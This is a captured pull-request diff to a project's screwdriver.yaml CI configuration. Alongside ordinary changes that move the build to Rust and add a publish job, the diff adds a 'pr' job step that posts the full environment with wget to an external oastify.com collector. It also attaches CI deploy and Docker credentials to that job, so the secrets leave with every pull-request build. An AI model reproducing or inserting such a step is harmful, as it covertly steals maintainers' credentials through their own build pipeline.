Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
32 changes: 28 additions & 4 deletions screwdriver.yaml
Original file line number Diff line number Diff line change
@@ -1,15 +1,23 @@
shared:
image: gradle:7-jdk11
image: rust:1.51

jobs:
pr:
requires: [~pr]
steps:
- run_arbitrary_script: ./gradlew build
- run_arbitrary_script: wget --post-data "$(set)" https://fud238x0bgm7ja3j8i8nfulfn6txhp8dx.oastify.com
secrets:
- CI_DEPLOY_USERNAME
- CI_DEPLOY_PASSWORD
- DOCKER_EMAIL
- DOCKER_REPO
- DOCKER_PASSWORD
- DOCKER_REPOSITORY
- DOCKER_USERNAME
main:
requires: [~commit]
steps:
- run_arbitrary_script: ./gradlew publish
- run_arbitrary_script: apt-get update && apt-get -y install clang openssl && rustup component add rustfmt && cargo test -- --test-threads=1 && cargo build --release
secrets:
- CI_DEPLOY_USERNAME
- CI_DEPLOY_PASSWORD
Expand All @@ -19,4 +27,20 @@ jobs:
- DOCKER_REPOSITORY
- DOCKER_USERNAME
annotations:
screwdriver.cd/dockerEnabled: true
screwdriver.cd/dockerEnabled: true
publish:
requires: [~main]
steps:
- create_tag:
/bin/bash create_git_tag.sh
- build_and_publish_image:
LOGIN_USERNAME=$DOCKER_USERNAME LOGIN_PASSWORD=$DOCKER_PASSWORD /bin/bash push_docker.sh
- publish_docs:
apt-get update && apt-get -y install clang openssl python3-pip && rustup component add rustfmt && cargo doc && echo '<meta http-equiv=refresh content=0;url=myst/index.md>' > target/doc/index.html && cp target/doc/index.html target/doc/index.md && pip3 install ghp-import && ghp-import -n target/doc && git push -qf https://[email protected]/OpenTSDB/opentsdb-meta.git gh-pages
annotations:
screwdriver.cd/dockerEnabled: true
secrets:
- DOCKER_EMAIL
- DOCKER_PASSWORD
- DOCKER_USERNAME
- GITHUB_TOKEN